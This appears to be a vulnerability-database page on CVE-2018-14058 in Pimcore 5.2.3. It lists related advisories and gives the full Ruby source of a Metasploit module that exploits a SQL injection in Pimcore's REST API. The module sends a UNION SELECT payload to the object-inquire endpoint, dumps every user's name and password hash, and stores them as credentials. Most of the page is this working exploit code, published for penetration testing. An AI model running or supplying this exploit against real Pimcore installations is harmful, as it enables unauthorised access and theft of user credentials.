| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Pimcore 5.2.3 - SQL Injection / Cross-Site Scripting / Cross-Site Request Forgery Vulnerabilities | 16 Aug 201800:00 | – | zdt | |
| CVE-2018-14058 | 20 Sep 201801:59 | – | circl | |
| Pimcore SQL Injection Vulnerability | 20 Aug 201800:00 | – | cnvd | |
| CVE-2018-14058 | 17 Aug 201818:00 | – | cve | |
| CVE-2018-14058 | 17 Aug 201818:00 | – | cvelist | |
| Pimcore 5.2.3 - SQL Injection / Cross-Site Scripting / Cross-Site Request Forgery | 16 Aug 201800:00 | – | exploitdb | |
| EUVD-2022-4879 | 3 Oct 202520:07 | – | euvd | |
| Pimcore 5.2.3 - SQL Injection Cross-Site Scripting Cross-Site Request Forgery | 16 Aug 201800:00 | – | exploitpack | |
| Pimcore SQLi Vulnerability | 14 May 202202:36 | – | github | |
| Pimcore Gather Credentials via SQL Injection | 19 Sep 201813:11 | – | metasploit |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Pimcore Gather Credentials via SQL Injection',
'Description' => %q{
This module extracts the usernames and hashed passwords of all users of
the Pimcore web service by exploiting a SQL injection vulnerability in
Pimcore's REST API.
Pimcore begins to create password hashes by concatenating a user's
username, the name of the application, and the user's password in the
format USERNAME:pimcore:PASSWORD.
The resulting string is then used to generate an MD5 hash, and then that
MD5 hash is used to create the final hash, which is generated using
PHP's built-in password_hash function.
},
'Author' => [ 'Thongchai Silpavarangkura', # PoC
'N. Rai-Ngoen', # PoC
'Shelby Pace' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2018-14058' ],
[ 'EDB', '45208' ]
],
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ]
},
'DisclosureDate' => '2018-08-13'
))
register_options(
[
OptString.new('TARGETURI', [ true, 'The base path to pimcore', '/' ]),
OptString.new('APIKEY', [ true, 'The valid API key for Pimcore REST API', '' ])
])
end
def available?
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
res && res.code == 200 && res.body.include?('pimcore')
end
def get_creds
api_uri = normalize_uri(target_uri.path, "/webservice/rest/object-inquire")
cmd = "#{rand(256)}) UNION ALL SELECT CONCAT(name,\" \",password) from users#"
res = send_request_cgi(
'method' => 'GET',
'uri' => api_uri,
'vars_get' => {
'apikey' => datastore['APIKEY'],
'id' => cmd
}
)
unless res
fail_with(Failure::NotFound, 'The request returned no results.')
end
fail_with(Failure::NoAccess, 'API key is invalid') if res.body.include?('API request needs either a valid API key or a valid session.')
format_results(res.get_json_document['data'])
end
def format_results(response)
fail_with(Failure::NotFound, 'No data found') unless response
creds = response.to_s.scan(/"([^\s]*)\s(\$[^(=>)]*)"/)
fail_with(Failure::NotFound, 'Could not find any credentials') if creds.empty?
print_good("Credentials obtained:")
creds.each do |user, pass|
print_good("#{user} : #{pass}")
store_creds(user, pass)
end
end
def store_creds(username, hash)
store_valid_credential(
user: username,
private: hash,
private_type: :nonreplayable_hash,
service_data: {
jtr_format: 'bcrypt',
origin_type: :service,
address: rhost,
port: rport,
service_name: 'mysql',
protocol: 'tcp'
}
)
end
def run
fail_with(Failure::NotFound, 'Could not access the Pimcore web page.') unless available?
get_creds
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation